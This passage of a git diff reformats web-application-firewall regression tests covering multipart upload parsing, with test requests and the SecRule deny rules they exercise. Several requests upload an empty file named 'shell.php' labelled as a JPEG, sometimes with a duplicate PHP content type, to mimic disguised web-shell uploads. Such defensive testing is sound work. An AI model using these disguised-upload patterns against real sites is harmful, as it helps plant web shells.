\"t:lowercase\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME filename* expects charset (3/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "360", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=utf-8''03CB1664.txt\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule &MULTIPART_FILENAME_CHARSET \"@gt 0\" \"id:1,phase:2,deny,t:none,chain\"", + "SecRule MULTIPART_FILENAME_CHARSET \"!@rx ^(?:utf-8|iso-8859-1|us-ascii)$\" \"t:lowercase\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME_CHARSET", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "145", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8''shell.php\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"utf-8\" \\(Variable: MULTIPART_FILENAME_CHARSET:file\\)", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME_CHARSET \"@strEq utf-8\" \"id:1,phase:2,pass,t:none,t:trim,t:lowercase\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME_CHARSET with lowercase", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "145", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=utf-8''shell.php\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"utf-8\" \\(Variable: MULTIPART_FILENAME_CHARSET:file\\)", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME_CHARSET \"@strEq utf-8\" \"id:1,phase:2,pass,t:none,t:trim,t:lowercase\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME_CHARSET with key", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "145", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8''shell.php\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"utf-8\" \\(Variable: MULTIPART_FILENAME_CHARSET:file\\)", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME_CHARSET:file \"@strEq utf-8\" \"id:1,phase:2,deny,t:none,t:trim,t:lowercase\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME_LANGUAGE", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "147", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8'en'shell.php\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"en\" \\(Variable: MULTIPART_FILENAME_LANGUAGE:file\\)", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME_LANGUAGE:file \"@strEq en\" \"id:1,phase:2,pass,t:none,t:trim,t:lowercase\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME_LANGUAGE with key", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "143", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8'fr'r%C3%A9sum%C3%A9.pdf\r\n", + "Content-Type: application/pdf\r\n", + "\r\n", + "%PDF-1.7\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"fr\" \\(Variable: MULTIPART_FILENAME_LANGUAGE:file\\)", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME_LANGUAGE:file \"@strEq fr\" \"id:1,phase:2,deny,t:none,t:trim,t:lowercase\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME with duplicate CD header", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "212", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8''shell.php\r\n", + "Content-Disposition: form-data; name=\"file\"; filename=\"image.jpg\"\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Multipart: Duplicate part header: Content-Disposition.", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"id:1,phase:2,deny,t:none,chain\"", + "SecRule MULTIPART_DUPLICATE_PART_HEADER \"@eq 1\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME with duplicate CT header", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "178", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8''shell.php\r\n", + "Content-Type: image/jpeg\r\n", + "Content-Type: application/x-php\r\n", + "\r\n", + "\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Multipart: Duplicate part header: Content-Type.", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"id:1,phase:2,deny,t:none,chain\"", + "SecRule MULTIPART_DUPLICATE_PART_HEADER \"@eq 1\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME filename* expects charset (4/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "360", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=UTF-8''03CB1664.txt\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME_CHARSET \"@strEq UTF-8\" \"id:1,phase:2,deny,t:trim\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME filename* expects charset (5/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "329", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule &MULTIPART_FILENAME_CHARSET \"@gt 0\" \"id:1,phase:2,deny,t:none,chain\"", + "SecRule MULTIPART_FILENAME_CHARSET \"!@rx ^(?:utf-8|iso-8859-1|us-ascii)$\" \"t:none,t:lowercase\"" + ] + } +] diff --git a/test/test-cases/regression/variable-MULTIPART_INVALID_HEADER_FOLDING.json b/test/test-cases/regression/variable-MULTIPART_INVALID_HEADER_FOLDING.json index b9e14f98b3..e9506317d2 100644 --- a/test/test-cases/regression/variable-MULTIPART_INVALID_HEADER_FOLDING.json +++ b/test/test-cases/regression/variable-MULTIPART_INVALID_HEADER_FOLDING.json @@ -1,61 +1,62 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_INVALID_HEADER_FOLDING", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------69343412719991675451336310646", - "Content-Disposition: form-data;", - " name=\"a\"", - "", - "1", - "-------------------------------69343412719991675451336310646", - "Content-Disposition: form-data;", - " name=\"b\"", - "", - "2", - "-------------------------------69343412719991675451336310646--" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"ARGS:a" - }, - "rules":[ - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,status:403,id:500074\"", - "SecRule MULTIPART_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500075\"", - "SecRule MULTIPART_INVALID_HEADER_FOLDING \"!@eq 0\" \"phase:2,deny,status:403,id:500076\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"", - "SecRule ARGS \"@eq 1\" \"phase:2,deny,status:403,id:5000277\"" - ] - } -] - +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_INVALID_HEADER_FOLDING", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "278", + "Content-Type": "multipart/form-data; boundary=-----------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------69343412719991675451336310646\n", + "Content-Disposition: form-data;\n", + " name=\"a\"\n", + "\n", + "1\n", + "-------------------------------69343412719991675451336310646\n", + "Content-Disposition: form-data;\n", + " name=\"b\"\n", + "\n", + "2\n", + "-------------------------------69343412719991675451336310646--\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "ARGS:a", + "http_code": 200 + }, + "rules": [ + "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,status:403,id:500074\"", + "SecRule MULTIPART_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500075\"", + "SecRule MULTIPART_INVALID_HEADER_FOLDING \"!@eq 0\" \"phase:2,deny,status:403,id:500076\"", + "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"", + "SecRule ARGS \"@eq 1\" \"phase:2,deny,status:403,id:5000277\"" + ] + } +] diff --git a/test/test-cases/regression/variable-MULTIPART_NAME.json b/test/test-cases/regression/variable-MULTIPART_NAME.json index c4ee2b0c57..c2631b7c1a 100644 --- a/test/test-cases/regression/variable-MULTIPART_NAME.json +++ b/test/test-cases/regression/variable-MULTIPART_NAME.json @@ -1,121 +1,124 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_FILENAME", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Target value: \"filedata\" \\(Variable: MULTIPART_NAME" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_NAME \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_FILENAME", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata2\"; filename=\"small_text_file2.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "This is another very small test file..\r", - "----------------------------756b6d74fa1a8ee2--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Target value: \"filedata2\" \\(Variable: MULTIPART_NAME" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_NAME \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" - ] - } -] - +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "516", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"filedata\" \\(Variable: MULTIPART_NAME", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_NAME \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata2\"; filename=\"small_text_file2.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"filedata2\" \\(Variable: MULTIPART_NAME", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_NAME \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" + ] + } +] diff --git a/test/test-cases/regression/variable-MULTIPART_PART_HEADERS.json b/test/test-cases/regression/variable-MULTIPART_PART_HEADERS.json index 1669589e9d..a8bf4ad45e 100644 --- a/test/test-cases/regression/variable-MULTIPART_PART_HEADERS.json +++ b/test/test-cases/regression/variable-MULTIPART_PART_HEADERS.json @@ -1,218 +1,221 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_PART_HEADERS (all headers)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------69343412719991675451336310646", - "Content-Disposition: form-data; name=parm1", - "Content-Type: image/jpeg", - "", - "1", - "-------------------------------69343412719991675451336310646", - "Content-Disposition: form-data; name=parm2", - "", - "2", - "-------------------------------69343412719991675451336310646--" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log":"Variable: MULTIPART_PART_HEADERS:parm1.*Rule returned 1" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_PART_HEADERS \"@rx content-type:.*jpeg\" \"phase:2,deny,status:403,id:500074,t:lowercase\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_PART_HEADERS (specific header - match)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------69343412719991675451336310646", - "Content-Disposition: form-data; name=parm1", - "Content-Type: image/jpeg", - "", - "1", - "-------------------------------69343412719991675451336310646", - "Content-Disposition: form-data; name=parm2", - "", - "2", - "-------------------------------69343412719991675451336310646--" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 403, - "debug_log":"Variable: MULTIPART_PART_HEADERS:parm1.*Rule returned 1" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_PART_HEADERS:parm1 \"@rx content-type:.*jpeg\" \"phase:2,deny,status:403,id:500074,t:lowercase\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_PART_HEADERS (specific header - no match)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=-----------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------69343412719991675451336310646", - "Content-Disposition: form-data; name=parm1", - "Content-Type: image/jpeg", - "", - "1", - "-------------------------------69343412719991675451336310646", - "Content-Disposition: form-data; name=parm2", - "", - "2", - "-------------------------------69343412719991675451336310646--" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 200 - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_PART_HEADERS:parm2 \"@rx content-type:.*jpeg\" \"phase:2,deny,status:403,id:500074,t:lowercase\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_PART_HEADERS (check EOL)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"249", - "Content-Type":"multipart/form-data; boundary=-----------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-------------------------------69343412719991675451336310646", - "Content-Disposition: form-data; name=\"file\"; filename=\"New Text Document.txt\"", - "Content-Type: text/plain; charset=utf-8\r\n", - "", - "1", - "-------------------------------69343412719991675451336310646--" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 200 - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_PART_HEADERS \"@rx ^content-type\\s*+:\\s*+(.*)$\" \"id:922110,phase:2,deny,capture,t:none,t:lowercase,chain\"", - "SecRule TX:1 \"!@rx ^text/plain; charset=(?:iso-8859-15?|windows-1252|utf-8)$\" \"t:lowercase\"" - ] - } -] - +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_PART_HEADERS (all headers)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "302", + "Content-Type": "multipart/form-data; boundary=-----------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------69343412719991675451336310646\n", + "Content-Disposition: form-data; name=parm1\n", + "Content-Type: image/jpeg\n", + "\n", + "1\n", + "-------------------------------69343412719991675451336310646\n", + "Content-Disposition: form-data; name=parm2\n", + "\n", + "2\n", + "-------------------------------69343412719991675451336310646--\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Variable: MULTIPART_PART_HEADERS:parm1.*Rule returned 1", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_PART_HEADERS \"@rx content-type:.*jpeg\" \"phase:2,deny,status:403,id:500074,t:lowercase\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_PART_HEADERS (specific header - match)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { 